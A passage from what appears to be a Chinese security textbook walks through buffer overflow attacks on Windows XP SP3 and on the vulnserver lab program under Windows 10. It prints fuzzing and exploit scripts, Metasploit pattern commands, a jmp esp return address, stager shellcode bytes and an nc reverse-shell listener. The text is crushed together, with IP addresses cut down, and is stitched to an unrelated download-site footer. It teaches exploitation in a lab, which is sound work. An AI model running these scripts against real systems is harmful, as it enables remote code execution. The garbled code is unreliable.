print"FUZZINGPASSWITH%sBYTES"%len(str)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('02',110))
s.recv(1024)
s.send('USERtest'+'\r\n')
s.recv(1024)
s.send('PASS'+str+'\r\n')
s.send('QUIT\r\n')
s.close()except:
print"CouldnotconnecttoPOP3"5.4.2實(shí)例——緩沖區(qū)溢出攻擊WindowsXPSP3圖5.45緩沖區(qū)溢出攻擊成功,出現(xiàn)了反向連接的shell在攻擊機(jī)(KaliLinux),在一個(gè)終端窗口執(zhí)行nc-vlp4444命令,使用nc監(jiān)聽(tīng)4444端口,如圖5.43所示。在另一個(gè)終端窗口執(zhí)行chmod+xoverflow5.py命令,為overflow5.py文件增加可執(zhí)行權(quán)限,接著執(zhí)行./overflow5.py命令,實(shí)施緩沖區(qū)溢出攻擊,如圖5.44所示。shellcode緩沖區(qū)溢出攻擊成功,在第一個(gè)終端窗口出現(xiàn)了反向連接的shell,如圖5.45所示,出現(xiàn)亂碼是因?yàn)槟繕?biāo)機(jī)運(yùn)行的是Windows中文版,中文字符在命令行中顯示為亂碼,這不影響對(duì)目標(biāo)機(jī)的攻擊和入侵。在攻擊機(jī)(KaliLinux)中,退出shell連接之后,目標(biāo)機(jī)(WinXPsp3)服務(wù)沒(méi)有崩潰,按照?qǐng)D5.43和圖5.44的步驟,再次實(shí)施緩沖區(qū)溢出攻擊,仍然能夠成功獲得反向連接的shell。圖5.43Kali開(kāi)啟nc監(jiān)聽(tīng)4444端口圖5.44實(shí)施緩沖區(qū)溢出攻擊5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.46實(shí)驗(yàn)環(huán)境5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.47“WindowsSecurityAlert”對(duì)話(huà)框,vulnserver服務(wù)器等待客戶(hù)端的連接2.緩沖區(qū)溢出攻擊過(guò)程第1步:模糊測(cè)試。在目標(biāo)機(jī)(Windows10_1703_x86_en),雙擊vulnserver.exe啟動(dòng)vulnserver服務(wù)器。第一次運(yùn)行vulnserver服務(wù)器會(huì)彈出“WindowsSecurityAlert”對(duì)話(huà)框,進(jìn)行如圖5.47所示的設(shè)置,單擊“Allowaccess”按鈕。然后,vulnserver服務(wù)器默認(rèn)在9999端口監(jiān)聽(tīng),等待客戶(hù)端的連接。在目標(biāo)機(jī)(Windows10_1703_x86_en),雙擊桌面x96dbg.exe圖標(biāo),在彈出的對(duì)話(huà)框中單擊“x32dbg”按鈕。打開(kāi)x32dbg,依次選擇菜單“File”→“Attach”,如圖5.48所示,選擇Name為vulnserver的行,然后單擊“Attach”按鈕。進(jìn)程默認(rèn)處于暫停狀態(tài)(單擊“F12”可以暫停進(jìn)程的執(zhí)行),為了觀察溢出情況,單擊開(kāi)始按鈕或“F9”繼續(xù)執(zhí)行vulnserver進(jìn)程,如圖5.49所示,輔助欄里面會(huì)有一些紅線(xiàn)以及一些虛線(xiàn)來(lái)指示當(dāng)完成這一句代碼之后,它會(huì)跳轉(zhuǎn)至哪里。5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.48Attach進(jìn)程vulnserver5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.49單擊開(kāi)始按鈕或“F9”繼續(xù)執(zhí)行vulnserver進(jìn)程5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.50運(yùn)行overflow101.py腳本在攻擊機(jī)(KaliLinux),編寫(xiě)Python腳本文件overflow101.py,內(nèi)容如下。#!/usr/bin/pythonimportsys,socketfromtimeimportsleep
comm="KSTETAA"#Lengthis8,It'samultipleoffour#comm="GTERAAA"#Lengthis8,It'samultipleoffourstri="A"*12
#Lengthis8,It'samultipleoffourpayload=comm+stri
whileTrue:
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('08',9999))
s.recv(1024)
s.send((payload))
print"FUZZINGcrashedat%sbytes"%str(len(payload))
s.close()
sleep(1)
payload=payload+"A"*12#Lengthis8,It'samultipleoffour
except:
sys.exit()在攻擊機(jī)(KaliLinux),為overflow101.py文件增加可執(zhí)行權(quán)限,然后執(zhí)行該腳本文件,當(dāng)發(fā)送80個(gè)字符后停了下來(lái),如圖5.50所示。然后查看目標(biāo)機(jī)的情況,如圖5.51所示,查看x32dbg調(diào)試器,發(fā)現(xiàn)進(jìn)程已經(jīng)崩潰,且EIP寄存器中的內(nèi)容為AAAA的ASCII碼值(41414141,十六進(jìn)制表示),所以下一條要執(zhí)行的指令的地址是代碼段中位移量為41414141的指令,而這個(gè)地址基本不是一條有效指令,因此vulnserver進(jìn)程崩潰??芍L(zhǎng)度為80的字符串導(dǎo)致了vulnserver服務(wù)器緩沖區(qū)溢出。5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.51vulnserver.exe程序因?yàn)榫彌_區(qū)溢出而崩潰5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703第2步:得到確切緩沖區(qū)溢出位置。在目標(biāo)機(jī)(Windows10_1703_x86_en),關(guān)閉x32dbg,然后雙擊vulnserver.exe啟動(dòng)vulnserver服務(wù)器,重新打開(kāi)x32dbg調(diào)試器,依次選擇菜單“File”→“Attach”,選擇Name為vulnserver的行,然后單擊“Attach”按鈕。進(jìn)程默認(rèn)處于暫停狀態(tài),為了觀察溢出情況,按“F9”鍵繼續(xù)執(zhí)行vulnserver進(jìn)程。/usr/share/metasploit-framework/tools/exploit/pattern_create.rb-l72在攻擊機(jī)(KaliLinux)的終端窗口中,執(zhí)行如上命令,生成72個(gè)字節(jié)的唯一字符串,將該字符串作為overflow102.py腳本文件中payload變量的值(攻擊負(fù)載),編寫(xiě)的Python腳本文件overflow102.py,內(nèi)容如下。#!/usr/bin/pythonimportsys,socket
comm="KSTETAA"#Lengthis8,It'samultipleoffour#comm="GTERAAA"#Lengthis8,It'samultipleoffourstri="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3"#stri="A"*68+"B"*4+"C"*40#stri="A"*68+"B"*4+"C"*(3500-8-68-4)
#Lengthis8,It'samultipleoffourpayload=comm+stri
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect(('08',9999))s.recv(1024)s.send((payload))print"FUZZINGcrashedat%sbytes"%str(len(payload))s.close()sys.exit()5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.52緩沖區(qū)溢出時(shí)EIP的值5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.53確切溢出位置在攻擊機(jī)(KaliLinux),為overflow102.py文件增加可執(zhí)行權(quán)限,然后執(zhí)行該腳本,向目標(biāo)機(jī)(Windows10_1703_x86_en)的vulnserver進(jìn)程發(fā)送80個(gè)字節(jié)的唯一字符串。在目標(biāo)機(jī)(Windows10_1703_x86_en),查看x32dbg調(diào)試器,如圖5.52所示,發(fā)現(xiàn)進(jìn)程已經(jīng)崩潰,且EIP寄存器中的內(nèi)容為33634132(十六進(jìn)制表示),即:3cA2。如圖5.53所示,進(jìn)一步執(zhí)行如下命令可以得到33634132在唯一字符串中的確切偏移量為68,即為溢出的位置。/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb-q336341325.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703第3步:再次驗(yàn)證確切緩沖區(qū)溢出位置并且確定可存放Shellcode的地址空間。圖5.54EIP、EBP、ESP寄存器,payload空間受限5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703第4步:重定向數(shù)據(jù)流,利用20字節(jié)塊跳轉(zhuǎn)到70字節(jié)塊。重定向數(shù)據(jù)流,即修改EIP寄存器的值為ESP寄存器的值。1)尋找可被利用的DLL由于棧頂指針ESP指向了溢出的區(qū)域(20字節(jié)),首先要找到一個(gè)包含jmpesp指令的可執(zhí)行內(nèi)存區(qū)域,且該指令不受ASLR(地址隨機(jī)化)的影響,保證可以對(duì)exploit進(jìn)行可靠的硬編碼以返回到該地址。如圖5.55所示,可以在內(nèi)存映射選項(xiàng)卡(MemoryMap)查看程序調(diào)用的DLL,可以看到有一個(gè)感興趣的DLL:essfunc.dll。在內(nèi)存映射選項(xiàng)卡(MemoryMap)中能夠看到essfunc.dll的基址(0x62500000),接下來(lái)可以在日志選項(xiàng)卡(Log)中運(yùn)行命令:imageinfo62500000,如圖5.56所示,在DLL的PE頭中檢索信息??梢钥吹紻LLCharacteristics標(biāo)志設(shè)置為0,這意味著程序沒(méi)有啟用ASLR或DEP保護(hù)。5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.55尋找可被利用的DLL:essfunc.dll5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.56查看DLLCharacteristics標(biāo)志5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.57搜索指令jmpesp在DLL中找到了可進(jìn)行可靠硬編碼的地址之后,需要再找一個(gè)可以使用的跳轉(zhuǎn)指令。為此,需要返回到內(nèi)存映射選項(xiàng)卡,如圖5.55所示,雙擊標(biāo)記為“可執(zhí)行”的內(nèi)存部分(由Protection列下中E標(biāo)志標(biāo)識(shí)),即雙擊.text部分,進(jìn)入CPU選項(xiàng)卡,在左上角子窗口(反匯編窗口)右鍵單擊并選擇搜索>當(dāng)前區(qū)域>命令(Searchfor>CurrentRegion>Command),或使用“ctrl+f”快捷鍵(要求虛擬機(jī)在全屏模式)搜索指令,在出現(xiàn)的窗口中輸入要搜索的指令jmpesp,列出essfunc.dll的.text中的jmpesp指令的地址,如圖5.57所示。這里使用(雙擊)第一個(gè)結(jié)果(0x625011AF)。5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows1017032)跳轉(zhuǎn)到??臻g中20個(gè)C(43)所占用存儲(chǔ)空間的起始地址得到j(luò)mpesp指令的地址(0x625011AF)后,可以用該地址覆蓋到棧中返回地址所占用的存儲(chǔ)單元(這個(gè)返回地址是要出棧到EIP寄存器)。在攻擊機(jī)(KaliLinux),編寫(xiě)Python文件overflow103.py,內(nèi)容如下。由于使用了小端序,地址按相反的順序?qū)憽?!/usr/bin/pythonimportsys,socket
comm="KSTET"#stri="A"*70+"B"*4+"C"*40stri="A"*70+'\xaf\x11\x50\x62'+"C"*40payload=comm+stri
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect(('08',9999))s.recv(1024)s.send((payload))print"FUZZINGcrashedat%sbytes"%str(len(payload))s.close()sys.exit()在目標(biāo)機(jī)(Windows10_1703_x86_en),關(guān)閉x32dbg,然后雙擊vulnserver.exe啟動(dòng)vulnserver服務(wù)器,重新打開(kāi)x32dbg調(diào)試器,依次選擇菜單“File”→“Attach”,選擇Name為vulnserver的行,然后單擊“Attach”按鈕。進(jìn)程默認(rèn)處于暫停狀態(tài),為了觀察溢出情況,按“F9”鍵繼續(xù)執(zhí)行vulnserver進(jìn)程。如圖5.58所示,右鍵單擊625011AF(jmpesp指令)行(或者雙擊該行中的FFE4),為jmpesp指令設(shè)置斷點(diǎn)。5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.58為jmpesp指令設(shè)置斷點(diǎn)在攻擊機(jī)(KaliLinux),為overflow103.py文件增加可執(zhí)行權(quán)限,然后執(zhí)行該腳本,向目標(biāo)機(jī)(Windows10_1703_x86_en)的vulnserver進(jìn)程發(fā)送120個(gè)字節(jié)的字符串。在目標(biāo)機(jī)(Windows10_1703_x86_en),vulnserver進(jìn)程停在斷點(diǎn)處,如圖5.59所示。單擊“F7”或“Stepinto”按鈕(單步執(zhí)行,遇到子函數(shù)就進(jìn)入并且繼續(xù)單步執(zhí)行)之后,程序停(崩潰)在了010FF9D8(機(jī)器碼為43,匯編指令為incebx)處,即棧空間中20個(gè)C(43)所占用存儲(chǔ)空間的起始地址,如圖5.60所示。5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.59vulnserver進(jìn)程停在斷點(diǎn)處5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.60單步執(zhí)行,進(jìn)程停(崩潰)在了010FF9D8(機(jī)器碼為43,匯編指令為incebx)處5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.61第一個(gè)A(41)的地址:010FF98E3)跳轉(zhuǎn)到??臻g中70個(gè)A(41)所占用存儲(chǔ)空間的起始地址在目標(biāo)機(jī)(Windows10_1703_x86_en),可以通過(guò)短跳轉(zhuǎn)指令使vulnserver進(jìn)程進(jìn)一步跳轉(zhuǎn)到70個(gè)A(41)所占用存儲(chǔ)空間的起始地址。需要知道短跳轉(zhuǎn)的距離,x32dbg可自動(dòng)計(jì)算出地址的偏移量(短跳轉(zhuǎn)的距離)。在CPU選項(xiàng)卡中向上翻找,可以看到包含70個(gè)A(41)的區(qū)域。如圖5.61所示,可以看到第一個(gè)A(41)的地址是010FF98E?;氐紼SP指針指向的位置,雙擊incebx指令(或在選中指令時(shí)按空格鍵),打開(kāi)Assemble對(duì)話(huà)框,輸入jmp0x010FF98E,如圖5.62所示,單擊“OK”按鈕,將自動(dòng)計(jì)算跳轉(zhuǎn)距離并創(chuàng)建一條跳轉(zhuǎn)指令(EBB4),如圖5.63所示。5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.63自動(dòng)計(jì)算跳轉(zhuǎn)距離并創(chuàng)建一條跳轉(zhuǎn)指令:EBB4圖5.62第一個(gè)A(41)的地址:010FF98E5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.64驗(yàn)證跳轉(zhuǎn)指令的正確性選中創(chuàng)建的指令(EBB4),然后單擊“g”鍵生成圖表視圖進(jìn)行驗(yàn)證。如果正確,程序應(yīng)該跳轉(zhuǎn)到70個(gè)A(0x41,其匯編指令為incecx)所占用存儲(chǔ)空間的起始地址,如圖5.64所示。5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703在攻擊機(jī)(KaliLinux),編寫(xiě)Python文件overflow104.py,內(nèi)容如下。將70字節(jié)塊和20字節(jié)塊都覆蓋為'\x90'(nop,空操作指令)。#!/usr/bin/pythonimportsys,socket
comm='KSTET'#stri='A'*70+'B'*4+'C'*40stri='\x90'*70#nopstri+='\xaf\x11\x50\x62'
#jmpespstri+='\xeb\xb4'#jmp0x010FF98Estri+='\x90'*40#noppayload=comm+stri
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect(('08',9999))s.recv(1024)s.send((payload))print"FUZZINGcrashedat%sbytes"%str(len(payload))s.close()sys.exit()5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.65程序執(zhí)行到70條NOP指令的下一條指令在目標(biāo)機(jī)(Windows10_1703_x86_en),關(guān)閉x32dbg,然后雙擊vulnserver.exe啟動(dòng)vulnserver服務(wù)器,重新打開(kāi)x32dbg調(diào)試器,依次選擇菜單“File”→“Attach”,選擇Name為vulnserver的行,然后單擊“Attach”按鈕。進(jìn)程默認(rèn)處于暫停狀態(tài),為了觀察溢出情況,按“F9”鍵繼續(xù)執(zhí)行vulnserver進(jìn)程。刪除在圖5.58中為jmpesp指令設(shè)置的斷點(diǎn)。在攻擊機(jī)(KaliLinux),為overflow104.py文件增加可執(zhí)行權(quán)限,然后執(zhí)行該腳本,向目標(biāo)機(jī)(Windows10_1703_x86_en)的vulnserver進(jìn)程發(fā)送122個(gè)字節(jié)的字符串。在目標(biāo)機(jī)(Windows10_1703_x86_en),程序執(zhí)行到70條NOP指令的下一條指令處停止(崩潰),如圖5.65所示。5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.66服務(wù)端和客戶(hù)端之間的函數(shù)調(diào)用關(guān)系 圖5.67搜索指令jmpesp第5步:分析反匯編代碼,定位套接字。服務(wù)端和客戶(hù)端之間的函數(shù)調(diào)用關(guān)系如圖5.66所示。1)分析反匯編代碼,在call<jmp.&recv>指令上設(shè)置斷點(diǎn)在左上角選擇CPU選項(xiàng)卡,反匯編窗口中右鍵單擊,依次選擇“Searchfor”→“AllModules”→“Command”,或使用“Ctrl+F”快捷鍵(要求虛擬機(jī)在全屏模式)搜索指令,在出現(xiàn)的窗口中輸入要搜索的指令“subesp,0x10”,列出該指令所有的地址,如圖5.67所示,雙擊第一個(gè)結(jié)果(0040150A),會(huì)自動(dòng)定位到這條指令,如圖5.68所示,在call<jmp.&recv>指令上設(shè)置斷點(diǎn)。5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.68分析反匯編代碼,在call<jmp.&recv>指令上設(shè)置斷點(diǎn)5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.69查看地址00D73188開(kāi)始的內(nèi)存區(qū)域的內(nèi)容2)分析反匯編代碼,在call<jmp.&recv>指令上設(shè)置斷點(diǎn)在目標(biāo)機(jī)(Windows10_1703_x86_en)查看vulnserver進(jìn)程的執(zhí)行情況,發(fā)現(xiàn)進(jìn)程停止在了call<jmp.&recv>指令處,如圖5.69所示。5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.70再次查看地址00D73188開(kāi)始的內(nèi)存區(qū)域的內(nèi)容5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.71recv函數(shù)的地址為0x0040252C3)定位套接字接下來(lái)尋找recv函數(shù)使用的套接字描述符,由于此值在每次建立新連接時(shí)都會(huì)發(fā)生變化,因此無(wú)法進(jìn)行硬編碼。如圖5.71所示,雙擊指令call<jmp.&recv>,彈出的對(duì)話(huà)框中給出了recv函數(shù)的地址為0x0040252C。按“F9”鍵,繼續(xù)執(zhí)行程序,直到程序停止(崩潰),如圖5.72所示,發(fā)現(xiàn)棧中文件描述符所在位置(0117F9D8)已經(jīng)被溢出數(shù)據(jù)覆蓋了。盡管緩沖區(qū)足以覆蓋recv的參數(shù),但文件描述符仍然存放在內(nèi)存中。如果重新啟動(dòng)程序并再次在調(diào)用recv處暫停,就可以分析出如何找到文件描述符。在目標(biāo)機(jī)(Windows10_1703_x86_en),關(guān)閉x32dbg,然后雙擊vulnserver.exe啟動(dòng)vulnserver服務(wù)器,重新打開(kāi)x32dbg調(diào)試器,依次選擇菜單“File”→“Attach”,選擇Name為vulnserver的行,然后單擊“Attach”按鈕。進(jìn)程默認(rèn)處于暫停狀態(tài),為了觀察溢出情況,按“F9”鍵繼續(xù)執(zhí)行vulnserver進(jìn)程。在攻擊機(jī)(KaliLinux),再次執(zhí)行overflow104.py腳本,向目標(biāo)機(jī)的vulnserver進(jìn)程發(fā)送122個(gè)字節(jié)的字符串。5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.72文件描述符所在位置(0117F9D8)已經(jīng)被溢出數(shù)據(jù)覆蓋5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.73盡管緩沖區(qū)覆蓋了recv的參數(shù),但文件描述符仍然存放在內(nèi)存中5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.35雙擊任意一條匹配結(jié)果由于套接字是傳遞給recv的第一個(gè)參數(shù),同時(shí)也是push到堆棧的最后一個(gè)參數(shù),需要找到在調(diào)用recv之前,最后一個(gè)向棧內(nèi)寫(xiě)數(shù)據(jù)的操作。如圖5.73所示,很容易發(fā)現(xiàn),在指令call<jmp.&recv>的上方,有一條mov指令,它將存儲(chǔ)在eax中的值移動(dòng)到esp指向的地址(即棧頂)。在該指令上方,是一條mov指令,它將ebp-420(即棧基址下方的0x420字節(jié)的位置)中的值移動(dòng)到eax。此時(shí),ebp-420的值為0x00FFFB60(00FFFF80-420),即為文件描述符在內(nèi)存中的地址。按“F9”鍵,繼續(xù)執(zhí)行程序,直到程序停止(崩潰),在棧視圖中可以看到該地址(0x00FFFB60)存放的值(000000B4)仍然不變。因此,盡管緩沖區(qū)覆蓋了recv的參數(shù),但文件描述符仍然存放在內(nèi)存中。套接字文件描述符是會(huì)變化的,在使用的時(shí)候需要?jiǎng)討B(tài)檢索它。為了避免存儲(chǔ)套接字的地址發(fā)生改變產(chǎn)生的影響,可以通過(guò)計(jì)算esp到當(dāng)前地址的距離,動(dòng)態(tài)獲取套接字存儲(chǔ)的地址,而不用對(duì)任何地址進(jìn)行硬編碼。為此,取當(dāng)前套接字地址(0x00FFFB60)減去esp指向的地址(0x00FFF9D8),得到偏移量為0x188,即可以在esp+0x188的位置找到套接字。5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.74三種類(lèi)型的有效載荷:singles、stagers、stages第6步:編寫(xiě)stager。5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.75vulnserver進(jìn)程暫停在了625011AF(jmpesp指令)處5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.76跳轉(zhuǎn)到了??臻g中的一條指令5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.77跳轉(zhuǎn)到了??臻g中70字節(jié)的NOP塊的起始位置5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703在目標(biāo)機(jī)(Windows10_1703_x86_en)查看情況,發(fā)現(xiàn)vulnserver進(jìn)程暫停在了625011AF(jmpesp指令)處,如圖5.75所示。按“F7”鍵單步執(zhí)行,如圖5.76所示,跳轉(zhuǎn)到了??臻g中的一條指令。接著按“F7”鍵單步執(zhí)行,如圖5.77所示,跳轉(zhuǎn)到了??臻g中的70字節(jié)NOP塊中的第一個(gè)字節(jié)處,在CPU選項(xiàng)卡,在左上角子窗口(反匯編窗口),右鍵單擊0102F98D行,依次選擇“Breakpoint”→“Toggle”,為70字節(jié)的NOP塊的起始位置(0102F98E)設(shè)置斷點(diǎn)。如圖5.78所示,在CPU選項(xiàng)卡,在左上角子窗口(反匯編窗口),右鍵單擊0111F98D行(因?yàn)楣P者重啟了vulnserver程序,所以地址有變化,但是不影響分析過(guò)程),依次選擇“Binary”→“Edit”,將70字節(jié)NOP塊中的第一個(gè)字節(jié)前面的字節(jié)20修改為90,目的是使得70字節(jié)NOP塊中的第一個(gè)字節(jié)作為一條指令出現(xiàn)在單獨(dú)一行。5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.78編輯機(jī)器碼圖5.79編輯機(jī)器碼,添加新指令5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.80確定esp與stager結(jié)束位置之間的距離5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.81驗(yàn)證esp與stager結(jié)束位置之間的距離5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.82獲得新添加指令的十六進(jìn)制值,進(jìn)而獲得stager5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703第7步:驗(yàn)證stager的功能。在攻擊機(jī)(KaliLinux),編寫(xiě)Python文件overflow105.py,內(nèi)容如下。將stager代碼放在70字節(jié)NOP塊的開(kāi)頭。為了不破壞溢出并能成功運(yùn)行最終的payload,需要確保NOP塊長(zhǎng)度仍然為70個(gè)字節(jié)。另外,為確保發(fā)送最終payload之前stager已執(zhí)行,使用sleep()函數(shù)等待幾秒鐘。#!/usr/bin/pythonimportsys,socket,time
comm='KSTET'
stager='\x54\x58\x66\x05\x88\x01\x83\xEC'stager+='\x64\x33\xDB\x53\x80\xC7\x04\x53'stager+='\x54\x5B\x83\xC3\x64\x53\xFF\x30'stager+='\xB8\x90\x2C\x25\x40\xC1\xE8\x08'stager+='\xFF\xD0'
stri='\x90'*(70-len(stager))
#nopsledtofinalpayloadstri+='\xaf\x11\x50\x62'#jmpespstri+='\xeb\xb4'#jmp0x010FF98Estri+='\x90'*40#nop
buffer=comm+stager+stri
payload='\x41'*1024
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect(('08',9999))s.recv(1024)s.send((buffer))print"FUZZINGcrashedat%sbytes"%str(len(buffer))time.sleep(5)s.send(payload)s.close()sys.exit()5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703圖5.83接收到1024個(gè)0x41,并且從NOP指令的末尾開(kāi)始放置5.4.3實(shí)例——緩沖區(qū)溢出攻擊Windows101703在目標(biāo)機(jī)(Windows10_1703_x86_en),關(guān)閉x32dbg,然后雙擊vulnserver.exe啟動(dòng)vulnserver服務(wù)器,重新打開(kāi)x32dbg調(diào)試器,依次選擇菜單“File”→“Attach”,選擇Name為vulnserver的行,然后單擊“Attach”按鈕。進(jìn)程默認(rèn)處于暫停狀態(tài),為了觀察溢出情況,按“F9”鍵繼續(xù)執(zhí)行vulnserver進(jìn)程。在攻擊機(jī)(KaliLinux)終端窗口執(zhí)行chmod+xoverflow5.py命令,為overflow5.py文件增加可執(zhí)行權(quán)限,然后執(zhí)行該腳本,向目標(biāo)機(jī)(Windows10_1703_x86_en)的vulnserver進(jìn)程發(fā)送122個(gè)字節(jié)的字符串。在目標(biāo)機(jī)(Windows10_1703_x86_en),按“F7”鍵單步執(zhí)行vulnserver進(jìn)程,如圖5.83所示,執(zhí)行到calleax指令停止,然后按“F8”鍵,執(zhí)行完recv()函數(shù)調(diào)用后,在011CF9B0行停止,可看到程序接收到1024個(gè)0x41,并且從011CF9D0處(NOP指令的末尾)開(kāi)始放置。第8步:
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶(hù)所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶(hù)上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶(hù)上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶(hù)因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 2025年中考物理二輪復(fù)習(xí):電與磁 信息 能源 尖子生測(cè)試卷(含答案解析)
- 第五單元 第1章 第1節(jié) 腔腸動(dòng)物和扁形動(dòng)物(新教學(xué)設(shè)計(jì))2023-2024學(xué)年八年級(jí)上冊(cè)生物(人教版)
- 借款房屋轉(zhuǎn)讓合同范例
- 產(chǎn)品采購(gòu)合同范例加工商
- 主體裝修合同范本
- 互聯(lián)網(wǎng)醫(yī)療行業(yè)月度個(gè)人工作計(jì)劃
- 農(nóng)村安裝光伏合同范例
- 眼科相關(guān)治療
- 班級(jí)工作計(jì)劃執(zhí)行效率總結(jié)
- 學(xué)校學(xué)期校園文明創(chuàng)建計(jì)劃
- 組織行為學(xué)測(cè)試試題庫(kù)與答案
- 2024年北京海淀區(qū)初一(上)期中語(yǔ)文試題(含答案)
- 初二美術(shù)教學(xué)課件模板
- 裝配式疊合板安裝施工方案
- 2024年江蘇常州機(jī)電職業(yè)技術(shù)學(xué)院招聘44人歷年高頻難、易錯(cuò)點(diǎn)500題模擬試題附帶答案詳解
- 2024-2030年中國(guó)干黃花菜市場(chǎng)營(yíng)銷(xiāo)策略與未來(lái)發(fā)展方向建議研究報(bào)告版
- 人音版音樂(lè)五年級(jí)下冊(cè)《歡樂(lè)的村寨》單元作業(yè)設(shè)計(jì)
- 煙草專(zhuān)賣(mài)法知識(shí)考試題庫(kù)500題(含答案)
- 旅游政策法規(guī)教案
- 《動(dòng)物王國(guó)開(kāi)大會(huì)》預(yù)學(xué)單
- 鋼結(jié)構(gòu)安全交底
評(píng)論
0/150
提交評(píng)論